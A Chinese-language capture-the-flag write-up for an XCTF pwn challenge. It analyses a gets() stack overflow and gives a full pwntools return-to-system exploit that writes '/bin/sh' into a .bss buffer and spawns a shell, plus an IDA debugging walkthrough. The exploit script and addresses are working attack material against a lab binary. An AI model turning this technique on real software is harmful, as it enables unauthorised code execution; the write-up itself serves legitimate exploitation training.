题目
desc.png
https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5059&page=1
题解
使用checksec检查
checksec.png
丢进IDA Pro查看,get()函数存在溢出
f5.png
找可以利用的函数和字符串。找到system函数,没有找到可以利用的字符串。
system.png
strings.png
得到system函数的地址为0x08048420。
system_addr.png
name位于.bss段,可以通过给name变量赋值执行任意命令。尝试输入\bin\sh得到shell。name的地址是0x0804A080。
name.png
由以上信息可以直接写WP。
from pwn import *
cnn = process('./cgpwn')
system_addr = 0x08048420
binsh_addr = 0x0804A080
payload = 42*b'a' + p32(system_addr) + b'aaaa' + p32(binsh_addr)
cnn.sendlineafter('name\n','/bin/sh')
cnn.sendlineafter('here:\n',payload)
cnn.interactive()
也可以使用IDA调试一遍玩玩,hello处下断点,F7步入,
hello.png
依次输入/bin/sh和AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA,停在0x080485FC处,F2修改栈上数据,完成后如下。
stack.png
stack_after.png
之后一直F8即可获得shell。
f8.png
shell.png











网友评论